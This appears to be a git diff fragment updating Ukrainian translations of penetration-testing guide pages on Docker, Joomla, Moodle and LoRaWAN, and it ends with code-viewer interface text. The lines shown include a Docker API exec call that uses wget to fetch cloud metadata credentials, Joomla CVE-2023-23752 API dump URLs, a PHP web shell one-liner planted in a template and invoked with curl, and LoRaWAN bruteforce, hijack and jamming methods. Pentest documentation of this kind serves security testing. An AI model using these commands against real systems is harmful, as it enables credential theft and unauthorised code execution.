curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
|
||||
#Get the output
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
|
||||
# list secrets (no secrets/swarm not set up)
|
||||
@ -199,7 +199,7 @@ cat /mnt/etc/shadow
|
||||
|
||||
### Підвищення привілеїв
|
||||
|
||||
Якщо ви знаходитесь на хості, який використовує docker, ви можете [**прочитати цю інформацію, щоб спробувати підвищити привілеї**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket).
|
||||
Якщо ви знаходитесь всередині хоста, який використовує docker, ви можете [**прочитати цю інформацію, щоб спробувати підвищити привілеї**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket).
|
||||
|
||||
### Виявлення секретів у запущених контейнерах Docker
|
||||
```bash
|
||||
@ -233,28 +233,28 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
||||
|
||||
#### Захист Docker Images
|
||||
|
||||
- Ви можете використовувати образ docker з [https://github.com/quay/clair](https://github.com/quay/clair), щоб сканувати ваші інші образи docker і знаходити вразливості.
|
||||
- Ви можете використовувати образ docker з [https://github.com/quay/clair](https://github.com/quay/clair) для сканування ваших інших образів docker та виявлення вразливостей.
|
||||
- `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
|
||||
- `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
|
||||
|
||||
#### Захист Dockerfiles
|
||||
|
||||
- Ви можете використовувати інструмент [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) для **перевірки вашого Dockerfile** та знаходження всіх видів неправильних налаштувань. Кожне неправильне налаштування отримає ID, ви можете знайти тут [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md), як виправити кожне з них.
|
||||
- Ви можете використовувати інструмент [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) для **перевірки вашого Dockerfile** та виявлення всіх видів неправильних налаштувань. Кожному неправильному налаштуванню буде присвоєно ID, ви можете знайти тут [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) як виправити кожне з них.
|
||||
- `dockerfilelinter -f Dockerfile`
|
||||
|
||||
.png>)
|
||||
|
||||
- Ви можете використовувати інструмент [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) для **перевірки вашого Dockerfile** та знаходження всіх видів неправильних налаштувань.
|
||||
- Ви можете використовувати інструмент [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) для **перевірки вашого Dockerfile** та виявлення всіх видів неправильних налаштувань.
|
||||
- `dockerfilelint Dockerfile`
|
||||
|
||||
.png>)
|
||||
|
||||
- Ви можете використовувати інструмент [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) для **перевірки вашого Dockerfile** та знаходження всіх видів неправильних налаштувань.
|
||||
- Ви можете використовувати інструмент [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) для **перевірки вашого Dockerfile** та виявлення всіх видів неправильних налаштувань.
|
||||
- `dockerlint Dockerfile`
|
||||
|
||||
.png>)
|
||||
|
||||
- Ви можете використовувати інструмент [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) для **перевірки вашого Dockerfile** та знаходження всіх видів неправильних налаштувань.
|
||||
- Ви можете використовувати інструмент [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) для **перевірки вашого Dockerfile** та виявлення всіх видів неправильних налаштувань.
|
||||
- `hadolint Dockerfile`
|
||||
|
||||
.png>)
|
||||
|
||||
@ -33,9 +33,9 @@ curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
||||
}
|
||||
}
|
||||
```
|
||||
## Enumeration
|
||||
## Перерахунок
|
||||
|
||||
### Discovery/Footprinting
|
||||
### Виявлення/Футпринтинг
|
||||
|
||||
- Перевірте **meta**
|
||||
```bash
|
||||
@ -58,7 +58,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
|
||||
1- What is this?
|
||||
* This is a Joomla! installation/upgrade package to version 3.x
|
||||
* Joomla! Official site: https://www.joomla.org
|
||||
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
|
||||
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
|
||||
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
|
||||
```
|
||||
### Версія
|
||||
@ -73,9 +73,9 @@ droopescan scan joomla --url http://joomla-site.local/
|
||||
```
|
||||
В[ **80,443 - Методологія пентестингу веб є розділом про сканери CMS**](#cms-scanners), які можуть сканувати Joomla.
|
||||
|
||||
### Розкриття інформації без аутентифікації через API:
|
||||
### Розкриття інформації без аутентифікації API:
|
||||
|
||||
Версії від 4.0.0 до 4.2.7 вразливі до розкриття інформації без аутентифікації (CVE-2023-23752), що дозволяє вивантажувати облікові дані та іншу інформацію.
|
||||
Версії з 4.0.0 по 4.2.7 вразливі до розкриття інформації без аутентифікації (CVE-2023-23752), яке виведе облікові дані та іншу інформацію.
|
||||
|
||||
- Користувачі: `http://<host>/api/v1/users?public=true`
|
||||
- Конфігураційний файл: `http://<host>/api/index.php/v1/config/application?public=true`
|
||||
@ -96,14 +96,14 @@ admin:admin
|
||||
|
||||
1. **Натисніть** на **`Templates`** внизу зліва під `Configuration`, щоб відкрити меню шаблонів.
|
||||
2. **Натисніть** на назву **шаблону**. Виберемо **`protostar`** під заголовком стовпця `Template`. Це перенесе нас на сторінку **`Templates: Customise`**.
|
||||
3. Нарешті, ви можете натиснути на сторінку, щоб відкрити **джерело сторінки**. Виберемо сторінку **`error.php`**. Додамо **PHP однорядковий код для отримання виконання коду** наступним чином:
|
||||
3. Нарешті, ви можете натиснути на сторінку, щоб відкрити **джерело сторінки**. Виберемо сторінку **`error.php`**. Додамо **PHP однолінійник для отримання виконання коду** наступним чином:
|
||||
1. **`system($_GET['cmd']);`**
|
||||
4. **Зберегти та закрити**
|
||||
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
|
||||
|
||||
## Від XSS до RCE
|
||||
|
||||
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Скрипт експлуатації Joomla, який **підвищує XSS до RCE або інших критичних вразливостей**. Для отримання додаткової інформації перегляньте [**цей пост**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Він забезпечує **підтримку версій Joomla 5.X.X, 4.X.X та 3.X.X, і дозволяє:**
|
||||
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Скрипт експлуатації Joomla, який **підвищує XSS до RCE або інших критичних вразливостей**. Для отримання додаткової інформації перегляньте [**цей пост**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Він надає **підтримку для версій Joomla 5.X.X, 4.X.X та 3.X.X, і дозволяє:**
|
||||
- _**Підвищення привілеїв:**_ Створює користувача в Joomla.
|
||||
- _**(RCE) Вбудоване редагування шаблонів:**_ Редагує вбудовані шаблони в Joomla.
|
||||
- _**(Custom) Користувацькі експлойти:**_ Користувацькі експлойти для сторонніх плагінів Joomla.
|
||||
|
||||
@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php
|
||||
3.10.0-beta
|
||||
|
||||
[+] Possible interesting urls found:
|
||||
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
|
||||
Admin panel - http://moodle.schooled.htb/moodle/login/
|
||||
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
|
||||
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
|
||||
|
||||
[+] Scan finished (0:00:05.643539 elapsed)
|
||||
```
|
||||
@ -66,7 +66,7 @@ cmsmap http://moodle.example.com/<moodle_path>
|
||||
|
||||
## **RCE**
|
||||
|
||||
Вам потрібно мати роль **менеджера** і ви **можете встановлювати плагіни** в розділі **"Site administration"**:
|
||||
Вам потрібно мати роль **менеджера**, і ви **можете встановлювати плагіни** в розділі **"Site administration"**:
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
## Introduction
|
||||
|
||||
**Low-Power Wide Area Network** (LPWAN) — це група бездротових, низькопотужних, широкосмугових технологій мереж, призначених для **дальніх комунікацій** з низькою швидкістю передачі даних. Вони можуть досягати більше **шісти миль**, а їх **батареї** можуть працювати до **20 років**.
|
||||
**Low-Power Wide Area Network** (LPWAN) — це група бездротових, низькопотужних, широкосмугових технологій, призначених для **дальніх комунікацій** з низькою швидкістю передачі даних. Вони можуть досягати більше **шісти миль**, а їх **батареї** можуть працювати до **20 років**.
|
||||
|
||||
Long Range (**LoRa**) наразі є найбільш розгорнутим фізичним рівнем LPWAN, а його відкрита специфікація MAC-рівня — це **LoRaWAN**.
|
||||
Long Range (**LoRa**) наразі є найбільш розгорнутим фізичним рівнем LPWAN, а його відкрита специфікація MAC-рівня — **LoRaWAN**.
|
||||
|
||||
---
|
||||
|
||||
@ -16,7 +16,7 @@ Long Range (**LoRa**) наразі є найбільш розгорнутим ф
|
||||
* LoRaWAN – відкритий MAC/мережевий рівень, що підтримується LoRa-Alliance. Версії 1.0.x та 1.1 є поширеними в полі.
|
||||
* Типова архітектура: *кінцевий пристрій → шлюз (пакетний пересилальник) → мережевий сервер → сервер додатків*.
|
||||
|
||||
> **Модель безпеки** базується на двох кореневих ключах AES-128 (AppKey/NwkKey), які генерують сеансові ключі під час процедури *приєднання* (OTAA) або закодовані в коді (ABP). Якщо будь-який ключ витече, зловмисник отримує повний доступ на читання/запис відповідного трафіку.
|
||||
> **Модель безпеки** базується на двох кореневих ключах AES-128 (AppKey/NwkKey), які генерують сеансові ключі під час процедури *приєднання* (OTAA) або закодовані (ABP). Якщо будь-який ключ витече, зловмисник отримує повний доступ на читання/запис відповідного трафіку.
|
||||
|
||||
---
|
||||
|
||||
@ -34,8 +34,8 @@ Long Range (**LoRa**) наразі є найбільш розгорнутим ф
|
||||
## Останні вразливості (2023-2025)
|
||||
|
||||
* **CVE-2024-29862** – *ChirpStack gateway-bridge & mqtt-forwarder* приймали TCP пакети, які обходили правила станового брандмауера на шлюзах Kerlink, що дозволяло вразливість віддаленого управлінського інтерфейсу. Виправлено в 4.0.11 / 4.2.1 відповідно.
|
||||
* **Dragino LG01/LG308 series** – Багато CVE 2022-2024 (наприклад, 2022-45227 перехід по директорії, 2022-45228 CSRF) все ще спостерігаються без виправлень у 2025 році; дозволяють неавтентифікований дамп прошивки або перезапис конфігурації на тисячах публічних шлюзів.
|
||||
* Переповнення *пакетного пересилальника UDP* Semtech (неопубліковане повідомлення, виправлено 2023-10): створений uplink більше 255 B викликав переповнення стеку ‑> RCE на шлюзах SX130x (виявлено на Black Hat EU 2023 “LoRa Exploitation Reloaded”).
|
||||
* **Dragino LG01/LG308 series** – Багато CVE 2022-2024 (наприклад, 2022-45227 перехід по директоріях, 2022-45228 CSRF) все ще спостерігаються без виправлень у 2025 році; дозволяють неавтентифікований дамп прошивки або перезапис конфігурації на тисячах публічних шлюзів.
|
||||
* Переповнення *пакетного пересилальника UDP* Semtech (неопубліковане повідомлення, виправлено 2023-10): створений uplink більше 255 B викликав переповнення стеку ‑> RCE на референсних шлюзах SX130x (виявлено на Black Hat EU 2023 “LoRa Exploitation Reloaded”).
|
||||
|
||||
---
|
||||
|
||||
@ -54,7 +54,7 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
|
||||
|
||||
1. Захопіть легітимний **JoinRequest**.
|
||||
2. Негайно повторно передайте його (або збільшіть RSSI) перед тим, як оригінальний пристрій знову передасть дані.
|
||||
3. Сервер мережі виділяє новий DevAddr та ключі сесії, поки цільовий пристрій продовжує використовувати стару сесію → атакуючий володіє вільною сесією і може інжектувати підроблені uplink-и.
|
||||
3. Сервер мережі виділяє новий DevAddr та ключі сесії, поки цільовий пристрій продовжує використовувати стару сесію → атакуючий володіє вільною сесією і може вводити підроблені uplink.
|
||||
|
||||
### 3. Зниження адаптивної швидкості передачі даних (ADR)
|
||||
|
||||
@ -62,17 +62,17 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
|
||||
|
||||
### 4. Реактивне глушіння
|
||||
|
||||
*HackRF One*, що працює з GNU Radio flowgraph, активує широкий сигнал, коли виявляється преамбула – блокує всі фактори розповсюдження з ≤200 мВт TX; повне відключення вимірюється на відстані 2 км.
|
||||
*HackRF One*, що працює з GNU Radio flowgraph, активує широкосмуговий сигнал, коли виявляється преамбула – блокує всі фактори розповсюдження з ≤200 мВт TX; повне відключення вимірюється на відстані 2 км.
|
||||
|
||||
---
|
||||
|
||||
## Наступні інструменти (2025)
|
||||
## Наступальні інструменти (2025)
|
||||
|
||||
| Інструмент | Призначення | Примітки |
|
||||
|------------|-------------|----------|
|
||||
| **LoRaWAN Auditing Framework (LAF)** | Створення/парсинг/атака на LoRaWAN фрейми, аналізатори на базі БД, брутфорсер | Docker-образ, підтримує Semtech UDP вхід |
|
||||
| **LoRaPWN** | Утиліта Trend Micro на Python для брутфорсу OTAA, генерації downlink-ів, розшифровки навантажень | Демонстрація випущена 2023, SDR-агностична |
|
||||
| **LoRAttack** | Багатоканальний sniff-er + повтор з USRP; експортує PCAP/LoRaTap | Хороша інтеграція з Wireshark |
|
||||
| **LoRaPWN** | Утиліта Trend Micro на Python для брутфорсу OTAA, генерації downlink, розшифровки навантажень | Демонстрація випущена 2023, SDR-агностична |
|
||||
| **LoRAttack** | Багатоканальний sniffing + повтор з USRP; експортує PCAP/LoRaTap | Хороша інтеграція з Wireshark |
|
||||
| **gr-lora / gr-lorawan** | Блоки GNU Radio OOT для базової передачі/прийому | Основи для кастомних атак |
|
||||
|
||||
---
|
||||
@ -89,6 +89,6 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
|
||||
|
||||
## Посилання
|
||||
|
||||
* LoRaWAN Auditing Framework (LAF) – https://github.com/IOActive/laf
|
||||
* Огляд Trend Micro LoRaPWN – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
|
||||
* LoRaWAN Auditing Framework (LAF) – [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
|
||||
* Огляд Trend Micro LoRaPWN – [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user